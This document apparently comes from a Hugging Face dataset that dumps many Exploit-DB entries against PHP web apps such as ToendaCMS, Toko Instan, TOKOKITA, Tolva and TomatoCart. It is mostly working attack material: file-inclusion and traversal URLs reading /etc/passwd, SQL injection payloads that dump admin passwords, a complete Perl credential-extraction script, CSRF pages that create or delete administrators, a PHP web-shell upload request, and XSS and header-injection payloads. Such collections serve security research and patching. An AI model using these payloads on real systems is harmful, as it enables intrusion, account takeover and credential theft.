deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36927
Description: ToendaCMS 1.6.2 - '/setup/index.php?site' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-08
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/52350/info

ToendaCMS is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ToendaCMS 1.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/setup/index.php?site=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/s
Exploit-DB #4623
Description: Toko Instan 7.6 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-11-14
Author: k1tk4t

Exploit:
# Indonesian Newhack Security Advisory
# ------------------------------------
# Toko Instan V7.6 - Multiple Remote SQL Injection Vulnerabilities
# Waktu			:  Nov 14 2007 08:30AM
# Software		:  Toko Instan V7.6
# Vendor		:  http://www.tokohandal.com/
# Demo Site		:  http://www.tokohandal.com/demo/demo2.php
# Ditemukan oleh	:  k1tk4t  |  http://newhack.org
# Lokasi		:  Indonesia
#

// Kutu Pada Berkas "index.php"
- variabel "id" pada "artikel" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote
POC ;
http://korban.site/index.php?cm=artikel&cp=show&id=-1/**/union/**/select/**/null,null,null,null,null,userid,password,null,null/**/from/**/member/*

- variable "katid" pada "produk" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote
POC ;
http://korban.site/index.php?cm=produk&cp=show&katid=-1/**/union/**/select/**/null,null,null,null,null,null,null,null,null,null,null,concat(userid,0x3a,password)/**/from/**/member/*

# Terima Kasih untuk;
# -[opt1lc, fl3xu5, ghoz]-
# str0ke, DNX, xoron
# nyubi,iFX,kin9k0ng,bius,selikoer,aldy_BT
# Komunitas Security dan Hacker Indonesia
# dan terkhusus untuk mas ghoz, selamat jalan sahabat|rekan jangan lupakan kami disana, kami selalu menanti kedatangan mas ghoz dengan suka cita  :) 

# milw0rm.com [2007-11-14]
Exploit-DB #17859
Description: Toko Lite CMS 1.5.2 - 'edit.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2011-09-19
Author: LiquidWorm

Exploit:
Toko Lite CMS 1.5.2 (edit.php) HTTP Response Splitting Vulnerability


Vendor: Toko
Product web page: http://toko-contenteditor.pageil.net
Affected version: 1.5.2

Summary: Toko Web Content Editor cms is a compact, multi language, open
source web editor and content management system (CMS). It is advanced
easy to use yet fully featured program that can be integrated with any
existing site. It takes 2 minuets to install even for non technical users. 

Desc: Input passed to the 'charSet' parameter in 'edit.php' is not properly
sanitised before being returned to the user. This can be exploited to insert
arbitrary HTTP headers, which are included in a response sent to the user.


====================================================================
/edit.php:
--------------------------------------------------------------------

 3: $charSet = "iso-8859-1";
 4: $dir = "ltr";
 5:
 6: if ( isset( $_POST[ "charSet" ] ) )
 7: {
 8:     $charSet = $_POST[ "charSet" ];
 9:
10:     if ( $charSet == "windows-1255" )
11:     {
12:        $dir = "rtl";
13:     }
14: }
15:
16: header( "Content-Type: text/html; charset=" . $charSet );

====================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2011-5048
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5048.php

CWE ID: 113


22.03.2011


------------


POST /tokolite1.5.2/edit.php HTTP/1.1
Content-Length: 55
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=as9l9t0a7rs9pmuflb7c5s9o70; pma_fontsize=82%25
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

charSet=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection

--

HTTP/1.1 302 Found
Date: Tue, 22 Mar 2011 03:57:30 GMT
Server: Apache/2.2.14 (Win32)
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: Login.php
Content-Length: 0
Keep-Alive: timeout=5, max=64
Connection: Keep-Alive
Content-Type: text/html; charset=
ZSL-Custom-Header: love_injection
Exploit-DB #36140
Description: Toko Lite CMS 1.5.2 - HTTP Response Splitting / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-19
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/49673/info

Toko LiteCMS is prone to an HTTP-response-splitting vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Toko LiteCMS 1.5.2 is vulnerable; other versions may also be affected. 

Cross Site Scripting Vulnerabilities

<html>
<title>Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss(){document.forms["xss"].submit();}
</script>
<br /><br />
<form action="http://www.example.com/tokolite1.5.2/editnavbar.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">
<input type="hidden" name="currPath" value=&#039;"><script>alert(1)</script>&#039; />
<input type="hidden" name="path" value=&#039;"><script>alert(2)</script>&#039; />
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit!</h3></center></font></b></a><br /><br />
</body></html>


HTTP Response Splitting

====================================================================
/edit.php:
--------------------------------------------------------------------

 3: $charSet = "iso-8859-1";
 4: $dir = "ltr";
 5:
 6: if ( isset( $_POST[ "charSet" ] ) )
 7: {
 8:     $charSet = $_POST[ "charSet" ];
 9:
10:     if ( $charSet == "windows-1255" )
11:     {
12:        $dir = "rtl";
13:     }
14: }
15:
16: header( "Content-Type: text/html; charset=" . $charSet );
Exploit-DB #5931
Description: TOKOKITA - 'produk_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-24
Author: k1tk4t

Exploit:
#!/usr/bin/perl
# k1tk4t Public Security Advisory
# ////////////////////////////////////////////////////////////
# TOKOKITA Multiple Remote SQL Injection 
# Demosite	: http://www.tokokita.net/toko/
# Vendor	: http://www.tokokita.com/
# Kutu		: 1. catlist.php?cat_id=[Blind SQLi]
#		  2. catlist_detail.php?cat_id=[Blind SQLi]
#	          3. barang.php?produk_id=[SQLi]
# Terimakasih untuk ;
# str0ke,DNX,n0c0py,L41n,
# NTOS-Team->[fl3xu5,opt1lc,sakitjiwa],
# eCHo->[y3dips,K-159,lirva32,dan staff lainnya] 
use LWP::UserAgent;

if ( !$ARGV[1] ) {
	print "\n //////////////////////////////////////////////////////////////////";
	print "\n //                      ..::> k1tk4t <::..                      //";
	print "\n // TOKOKITA (barang.php produk_id) Remote SQL Injection Exploit //";
	print "\n //////////////////////////////////////////////////////////////////";
	print "\n[!] ";
	print "\n[!] Penggunaan : perl tokokita.pl [Site] [Path]";
	print "\n[!] Contoh     : perl tokokita.pl localhost /toko/";
	print "\n[!] ";
	print "\n";
	exit;
}
$site   = $ARGV[0];
$path   = $ARGV[1];
$sqlinj = "union+
select+
null,
null,
null,
concat(0x6b3174,email,0x316e),
null,
concat(0x6b3474,password,0x307574),
null,
null,
null,
null,
null+
from+
user_admin/*";    
$expl = "http://" . $site . $path . "barang.php?produk_id=-9+"
. $sqlinj;
$www  = new LWP::UserAgent;
print "\n\n [!] Injeksi SQL \n";
$res = $www->get($expl) or err ();
$hasil = $res->content;
if ( $hasil =~ /k1t(.*?)1n/ ) {
	print "\n [+] Username      : $1";
	$hasil =~ /k4t(.*?)0ut/, print "\n [+] Password      : $1";
	print "\n\n";
} 
else {
	print "\n [-] Exploit gagal ;)";
	exit();
}

# milw0rm.com [2008-06-24]
Exploit-DB #35838
Description: Tolinet Agencia - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-06-10
Author: Andrea Bocchetti

Exploit:
source: https://www.securityfocus.com/bid/48217/info

Tolinet Agencia is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?tip=art&id=2' <- blind sql
Exploit-DB #26921
Description: Tolva 0.1 - 'Usermods.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-12-21
Author: xbefordx

Exploit:
source: https://www.securityfocus.com/bid/16000/info

Tolva is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/twebs/modules/misc/usermods.php?ROOT=http://www.example.com
Exploit-DB #37687
Description: TomatoCart - 'example_form.ajax.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-30
Author: HauntIT

Exploit:
source: https://www.securityfocus.com/bid/55295/info

TomatoCart is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TomatoCart 1.1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/with/tomato/ext/secureimage/example_from.ajax.php/"></script><whatever.now>
Exploit-DB #38168
Description: TomatoCart - 'json.php' Security Bypass
Type: webapps
Platform: php
Date: 2013-01-04
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/57156/info

TomatoCart is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and create files with arbitrary shell script which may aid in further attacks.

TomatoCart versions 1.1.5 and 1.1.8 are vulnerable. 

POST /admin/json.php HTTP/1.1
Host: localhost
Cookie: admin_language=en_US; toCAdminID=edfd1d6b88d0c853c2b83cc63aca5e14
Content-Type: application/x-www-form-urlencoded
Content-Length: 195

module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo '<h1>0wned!</h1><pre>';+echo `ls+-al`; ?>
Exploit-DB #10683
Description: TomatoCart - Backup
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : TomatoCart Backup Vulnerability                                         |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10683                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Powered by TomatoCart (Copyright (c) 2009 Wuxi Elootec Technology Co., Ltd;  Copyright (c) 2005 osCommerce)
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : Backup                                                                  |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://127.0.0.1/tomatocart/admin/backups/
|
| 2- look in lin 42 u find the user and pass
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #14330
Description: TomatoCart 1.0.1 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-11
Author: 10n1z3d

Exploit:
<!---
    Title: TomatoCart 1.0.1 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Sun 11 Jul 2010 05:01:51 PM EEST 
    Vendor: http://www.tomatocart.com/
    Download: http://www.tomatocart.com/component/extension_manage/?task=downloadfiles&file=tomatocart-1.0.1.zip
--->

-=[ CSRF PoC 1 - Create Admin User ]=-

    <html>
        <head>
            <title>TomatoCart 1.0.1 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <body onload="document.csrf.submit();">
            <!--- Note: GET requests work too --->
            <form name="csrf" action="http://[domain]/admin/json.php" method="post">
                <!--- Edit these --->
                <input type="hidden" name="user_name" value="root" />
                <input type="hidden" name="user_password" value="rootroot" />
                <input type="hidden" name="email_address" value="root@root.com" />
                <!--- Do not edit below --->
                <input type="hidden" name="module" value="administrators" />
                <input type="hidden" name="action" value="save_administrator" />
                <input type="hidden" name="access_globaladmin" value="on" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Change Admin Password ]=-
    
    <html>
        <head>
            <title>TomatoCart 1.0.1 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <!--- Note: GET requests work too --->
            <form name="csrf" action="http://[domain]/admin/json.php" method="post">
                <!--- Edit these --->
                <input type="hidden" name="user_password" value="rootroot" />
                <input type="hidden" name="email_address" value="root@root.com" />
                <!--- Do not edit below --->
                <input type="hidden" name="user_name" value="admin" />
                <input type="hidden" name="aID" value="1" />
                <input type="hidden" name="module" value="administrators" />
                <input type="hidden" name="action" value="save_administrator" />
                <input type="hidden" name="access_globaladmin" value="on" />
            </form>
        </body>
    </html>  
    
 -=[ CSRF PoC 3 - Delete Administrator ]=-
 
    <img src="http://[domain]/admin/json.php?module=administrators&action=delete_administrator&adminId=2" alt="Do you see this?" />
 
 -=[ CSRF PoC 4 - Delete Customer ]=-

    <img src="http://[domain]/admin/json.php?module=customers&action=delete_customer&customers_id=1" alt="Do you see this?" />
 
-=[ CSRF PoC 5 - Logout The Administrator ]=-

    <img src="http://[domain]/admin/json.php?module=login&action=logoff" alt="Do you see this?" />  

<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->
Exploit-DB #17818
Description: TomatoCart 1.1 - (Authenticated) Local File Inclusion
Type: webapps
Platform: php
Date: 2011-09-12
Author: brain[pillow]

Exploit:
# Exploit Title: TomatoCart 1.1 PostAuth Local File Include
# Google Dork: "Powered by TomatoCart"
# Date: 25.10.2010
# Author: brain[pillow]
# Software Link: http://www.tomatocart.com/
# Version: 1.1

=========================================================
# Vuln. code:

 if ($osC_Customer->isLoggedOn() === true) { 
   
    if (isset($_REQUEST['module'])) { 
      $module = $_REQUEST['module']; 
      $osC_Language->load($module); 
    }  
     
    if (isset($_REQUEST['pdf'])) { 
      $pdf = $_REQUEST['pdf']; 
    }  
     
    if (!empty($module) && !empty($pdf)) { 

   
      if (file_exists('includes/modules/pdf/' . $pdf . '.php')) { 
        include('includes/modules/pdf/' . $pdf . '.php'); 
         
        $pdf_class = 'toC_' .ucfirst($pdf) . '_PDF'; 
        $object = new $pdf_class(); 
        $object ->render(); 
         
        exit; 
      } 
    } 
  } 

=========================================================
# Exploit:

/pdf.php?module=1&pdf=../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #38843
Description: TomatoCart 1.1.8.2 - 'class' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-11-18
Author: Esac

Exploit:
source: https://www.securityfocus.com/bid/63795/info

TomatoCart is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts. This could allow the attacker to compromise the application and the computer; other attacks are also possible.

TomatoCart 1.1.8.2 is vulnerable; other versions may also be affected. 

http://www.example.com//install/rpc.php?action=dbCheck&class=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg
Exploit-DB #37021
Description: TomatoCart 1.2.0 Alpha 2 - 'json.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-28
Author: Canberk BOLAT

Exploit:
source: https://www.securityfocus.com/bid/52766/info

TomatoCart is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

TomatoCart 1.2.0 Alpha 2 is vulnerable; other versions may also be affected. 

http://www.example.com/json.php?action=3&module=../../../../../../../../../../../../../../boot.ini%00
Exploit-DB #34308
Description: TomatoCart 1.x - SQL Injection
Type: webapps
Platform: php
Date: 2014-08-09
Author: Breaking.Technology

Exploit:
Title:
    TomatoCart v1.x (latest-stable) Remote SQL Injection Vulnerability

Background:
    TomatoCart is open source ecommerce solution developed and maintained by a number of 64,000+ users from 50+ countries and regions. It's distributed under the terms of the GNU General Public License (or "GPL"), free to download and share. The community, including project founders and other developers, are supposed to work together on the platform of TomatoCart, contributing features, technical support and services. The current stable package is TomatoCart V1.1.8.6.1, while the latest development version is version 2.0 Alpha 4.  This exploit affects the "stable" tree.

Timeline:
    06 June 2014   - CVE-2014-3978 assigned
    06 June 2014   - Submitted to vendor
    25 June 2014   - Received inadequate patch from vendor
    26 June 2014   - Suggested patch sent to vendor
    17 July 2014   - Request for update from vendor, no response.
    05 August 2014 - Pull request sent on github for full patch

Status:
    Vendor ignored, see suggested fix below.

Released:
    05 August 2014 - https://breaking.technology/advisories/CVE-2014-3978.txt

Classification:
    SQL Injection

Exploit Complexity:
    Low

Severity:
    High

Description:
    TomatoCart suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection. 

    Required Information:
    * Valid user account

PoC:
    Create a new contact in your address book using the following values. 

    First name: :entry_lastname,
    Last Name : ,(select user_name from toc_administrators order by id asc limit 1),(select user_password from toc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)# 
    
    The new contact will be added to your address book with the admin hash as the contact's street address 

Suggested Action:
    Pull request has been sent to the developers on github. Recommend patching the required to properly encode colon (:)
    https://github.com/tomatocart/TomatoCart-v1/pull/238
Exploit-DB #33978
Description: TomatoCMS 2.0.x - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-12
Author: Russ McRee

Exploit:
source: https://www.securityfocus.com/bid/40108/info

TomatoCMS is prone to a SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database or to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

TomatoCMS 2.0.6 and prior are vulnerable. 

http://www.example.com/news/search?q=sdf%22+ANY_SQL_HERE
Exploit-DB #30554
Description: Toms Gästebuch 1.00 - '/admin/header.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-09-07
Author: cod3in

Exploit:
source: https://www.securityfocus.com/bid/25507/info
 
Toms GÃ¤stebuch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Toms GÃ¤stebuch versions prior to 1.01 are vulnerable. 

http://www.example.com/admin/header.php?language=[XSS]&anzeigebreite=[XSS]